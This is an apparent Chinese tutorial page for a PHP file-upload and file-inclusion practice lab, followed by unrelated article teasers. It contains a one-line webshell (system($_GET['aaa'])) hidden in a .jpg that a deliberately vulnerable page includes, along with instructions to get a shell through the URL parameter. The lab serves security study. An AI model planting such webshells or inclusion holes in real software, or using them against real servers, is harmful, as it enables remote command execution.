渗透测试入门学习——php文件上传与文件包含

embedded/2024/9/23 22:26:28/
最终效果:

提前在网站根目录创建upload目录:

主页面(文件名为file.php):
php"><html>
<head><meta charset="utf-8"><title>php文件相关练习</title>
</head><h1>php文件相关练习</h1><hr>
<?php//文件包含include或者requirerequire 'content_1.txt';echo $content_test;
?><hr>
<?phpecho "jpg文件包含一句话木马",'<br>';echo "产生空值报错为正常,url中传入?aaa=dir或是=ipconfig即可getshell",'<br>';require 'content_2.jpg'//文件包含存在漏洞,可上传jpg文件或是其他文件然后用包含漏洞打开执行//文件包含的另一种形式,包含POST或GET传入文件//include $_GET['file1'];//require $_POST['file2'];
?><hr>
<form action="#" method="post" enctype="multipart/form-data"><label for="file">文件名:<input type="file" name="file" id="file"><input type="submit" name="submint" value="提交">
</form><?php$allow_list = array("gif", "jpeg", "jpg", "png");           //上传文件后缀(类型)白名单$file_name = explode(".",$_FILES["file"]["name"]);          //explode()函数,将字符串以第一个参数“.”为标志分隔开成为数组$file_type = end($file_name);                               //获取数组最后的元素,确保为最后的元素以免出现识别test.php.jpg这样的文件时出现文件后缀识别错误的bugif((($_FILES["file"]["type"] == "image/gif")                //初步判断上传的文件是不是图片类型|| ($_FILES["file"]["type"] == "image/jpeg")                //六种常见的文件类型|| ($_FILES["file"]["type"] == "image/jpg")|| ($_FILES["file"]["type"] == "image/pjpeg")|| ($_FILES["file"]["type"] == "image/x-png")|| ($_FILES["file"]["type"] == "image/png"))&& ($_FILES["file"]["size"] <= 204800)                      //大小不超过200kb&& in_array($file_type, $allow_list)){                      //文件后缀(类型)需要在白名单中echo "格式正确".'<br>';if($_FILES["file"]["error"] > 0){echo "传输失败";}else{echo "文件名".$_FILES["file"]["name"]."<br>";echo "文件类型".$_FILES["file"]["type"]."<br>";echo "文件大小".$_FILES["file"]["size"]."<br>";echo "文件临时位置".$_FILES["file"]["tmp_name"]."<br>";echo "传输成功<br>";if(file_exists("upload/".$_FILES["file"]["name"])){//判断upload是否存在上传的文件echo $_FILES["file"]["name"]."文件已存在";}else{move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);//将上传的文件移动到新位置echo "文件已经存储在:"."upload/".$_FILES["file"]["name"];}}}else{if(empty($_FILES)){echo "还未上传任何文件";}else {echo "非法的文件格式";}}
?>
</html>
被包含的txt文件(文件名为content_1.txt):
php"><?php$content_test = 555;
?>
被包含的jpg文件(文件名为content_2.jpg):

命名为content_2.php编辑好后再将后缀改为.jpg,内容为一句话木马

php"><?phpsystem($_GET['aaa']);
?>

http://www.ppmy.cn/embedded/115788.html

相关文章

[Unity Demo]从零开始制作空洞骑士Hollow Knight第六集:制作小骑士完整的跳跃落地行为

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、制作一个完整的小骑士跳跃落地行为 1.制作动画以及UNITY编辑器编辑2.使用代码实现完整的跳跃落地行为控制3.更多要考虑到的点总结 前言 大家好久不见&…

【mac】MacOS无法打开XXX文件,因为无法验证开发者的问题解决

博主介绍&#xff1a; 大家好&#xff0c;我是想成为Super的Yuperman&#xff0c;互联网宇宙厂经验&#xff0c;17年医疗健康行业的码拉松奔跑者&#xff0c;曾担任技术专家、架构师、研发总监负责和主导多个应用架构。 技术范围&#xff1a; 目前专注java体系&#xff0c;以及…

卷积神经网络(CNN):深度学习中的视觉奇迹

目录 一、什么是卷积神经网络&#xff1f; 二、CNN的核心组件 1. 卷积层&#xff08;Convolutional Layer&#xff09; 2. 激活函数&#xff08;Activation Function&#xff09; 3. 池化层&#xff08;Pooling Layer&#xff09; 4. 全连接层&#xff08;Fully Connected…

unix中的vfork函数

一、前言 本文介绍unix中的vfork函数&#xff0c;vfork函数功能和fork函数类似&#xff0c;也是用于创建新的进程&#xff0c;只不过调用vfork函数创建的子进程将共享父进程的进程空间&#xff0c;且只有当子进程调用exec()或者exit()函数后&#xff0c;父进程才会继续运行。 …

LeetCode 面试经典150题 67.二进制求和

415.字符串相加 思路一模一样 题目&#xff1a;给你两个二进制字符串 a 和 b &#xff0c;以二进制字符串的形式返回它们的和。 eg&#xff1a; 输入a“1010” b“1011” 输出“10101” 思路&#xff1a;从右开始遍历两个字符串&#xff0c;因为右边是低位先运算。如果…

Jsonpath - 数据中快速查找和提取的强大工具

JSON&#xff08;JavaScript Object Notation&#xff09;在现代应用程序中广泛使用&#xff0c;但是如何在复杂的JSON数据中 查找和提取所需的信息呢&#xff1f; JSONPath是一种功能强大的查询语言&#xff0c;可以通过简单的表达式来快速准确地定位和提取JSON数据。本文将介…

乐观锁、悲观锁及死锁

乐观锁、悲观锁 1.概念 悲观锁(悲观锁定)&#xff1a;具有强烈的独占和排他特性。在整个执行过程中&#xff0c;将处于锁定状态。悲观锁在持有数据的时候总会把资源或者数据锁住&#xff0c;这样其他线程想要请求这个资源的时候就会阻塞&#xff0c;直到等到悲观锁把资源释放为…

CleanClip --- 为Mac用户打造的智能剪贴板管理利器

CleanClip是一款专为Mac用户设计的强大剪贴板管理工具&#xff0c;旨在提升用户的工作效率和数据管理体验。它通过智能化的剪贴板内容管理&#xff0c;实现了Mac系统与用户操作之间的无缝衔接。CleanClip支持多种连接方式&#xff0c;包括系统级的快捷操作和自定义快捷键&#…